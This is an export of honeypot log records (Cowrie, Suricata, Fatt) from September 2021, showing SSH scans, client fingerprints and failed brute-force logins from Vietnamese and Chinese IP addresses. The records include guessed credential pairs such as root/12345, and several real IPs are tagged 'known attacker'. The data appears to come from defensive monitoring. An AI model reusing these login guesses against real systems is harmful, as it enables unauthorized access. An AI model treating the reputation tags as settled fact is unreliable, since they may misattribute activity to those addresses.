"hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "28e0283c5861", "@version": "1", "timestamp": "2021-09-20T11:15:45.211986Z", "@timestamp": "2021-09-20T11:15:45.211Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27848	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:46.181077+03	2021-09-20 14:30:02.002524+03	{"_id": "HgbrAnwBvYTbRNuESitO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:46.181077Z", "@timestamp": "2021-09-20T11:15:46.181Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
27849	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:46.297445+03	2021-09-20 14:30:02.018524+03	{"_id": "JgbrAnwBvYTbRNuESitO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [paul/paul] failed", "session": "3c9cd1baa8a8", "@version": "1", "password": "paul", "username": "paul", "timestamp": "2021-09-20T11:15:46.297445Z", "@timestamp": "2021-09-20T11:15:46.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27850	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:46.56901+03	2021-09-20 14:30:02.033523+03	{"_id": "IwbrAnwBvYTbRNuESitO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e452297a139f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:46.569010Z", "@timestamp": "2021-09-20T11:15:46.569Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27851	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:46.457919+03	2021-09-20 14:30:02.047523+03	{"_id": "LAbrAnwBvYTbRNuESitP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/12345] failed", "session": "c2577cec2036", "@version": "1", "password": "12345", "username": "root", "timestamp": "2021-09-20T11:15:46.457919Z", "@timestamp": "2021-09-20T11:15:46.457Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27852	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:46.74688+03	2021-09-20 14:30:02.063523+03	{"_id": "LQbrAnwBvYTbRNuESitP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "81.71.17.12", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5658855438232422, "duplicate": true, "timestamp": "2021-09-20T11:15:46.746880Z", "@timestamp": "2021-09-20T11:15:46.746Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
27853	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:15:46.710308+03	2021-09-20 14:30:02.066524+03	{"_id": "MQbrAnwBvYTbRNuETCsq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2170968216844724, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50562, "dest_port": 22, "timestamp": "2021-09-20T11:15:46.710308Z", "@timestamp": "2021-09-20T11:15:46.710Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27854	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:15:46.710846+03	2021-09-20 14:30:02.068523+03	{"_id": "MwbrAnwBvYTbRNuETStw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50562, "dest_port": 22, "timestamp": "2021-09-20T11:15:46.710846", "@timestamp": "2021-09-20T11:15:46.710Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27855	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:47.7227+03	2021-09-20 14:30:02.069524+03	{"_id": "OAbrAnwBvYTbRNuETis4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5decd338d38865fd687173b0aa3b4745c645892ac8c0d12a8884541808ae2802", "src_ip": "81.71.17.12", "ttylog": "log/tty/5decd338d38865fd687173b0aa3b4745c645892ac8c0d12a8884541808ae2802", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5decd338d38865fd687173b0aa3b4745c645892ac8c0d12a8884541808ae2802 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5674302577972412, "duplicate": false, "timestamp": "2021-09-20T11:15:47.722700Z", "@timestamp": "2021-09-20T11:15:47.722Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
27856	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:47.156727+03	2021-09-20 14:30:02.071523+03	{"_id": "OgbrAnwBvYTbRNuETis4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:47.156727Z", "@timestamp": "2021-09-20T11:15:47.156Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
27857	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:47.155357+03	2021-09-20 14:30:02.072524+03	{"_id": "PgbrAnwBvYTbRNuETis5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:47.155357Z", "@timestamp": "2021-09-20T11:15:47.155Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
27858	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:47.740833+03	2021-09-20 14:30:02.073524+03	{"_id": "PwbrAnwBvYTbRNuETis5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "c2577cec2036", "@version": "1", "duration": 4.608970642089844, "timestamp": "2021-09-20T11:15:47.740833Z", "@timestamp": "2021-09-20T11:15:47.740Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27864	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:39.914258+03	2021-09-20 14:30:02.081524+03	{"_id": "2AbrAnwBvYTbRNuEMirY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6a5af56f9fad", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:39.914258Z", "@timestamp": "2021-09-20T11:15:39.914Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27859	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:15:38.04463+03	2021-09-20 14:30:02.075524+03	{"_id": "tAbrAnwBvYTbRNuEKCr9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:15:38.044630+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1861771373227606, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 37484, "dest_port": 22, "timestamp": "2021-09-20T11:15:38.044630Z", "@timestamp": "2021-09-20T11:15:38.044Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27860	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:37.449275+03	2021-09-20 14:30:02.076524+03	{"_id": "twbrAnwBvYTbRNuEKio_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51685, "timestamp": "2021-09-20T11:15:37.449275", "@timestamp": "2021-09-20T11:15:37.449Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27861	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:39.305423+03	2021-09-20 14:30:02.077524+03	{"_id": "xgbrAnwBvYTbRNuELiru", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "f359bd8adf02", "@version": "1", "duration": 3.337589740753174, "timestamp": "2021-09-20T11:15:39.305423Z", "@timestamp": "2021-09-20T11:15:39.305Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27862	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:15:40.242786+03	2021-09-20 14:30:02.078524+03	{"_id": "xwbrAnwBvYTbRNuEMCrO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "flow_id": 987556549976102, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41426, "dest_port": 22, "timestamp": "2021-09-20T11:15:40.242786Z", "@timestamp": "2021-09-20T11:15:40.242Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
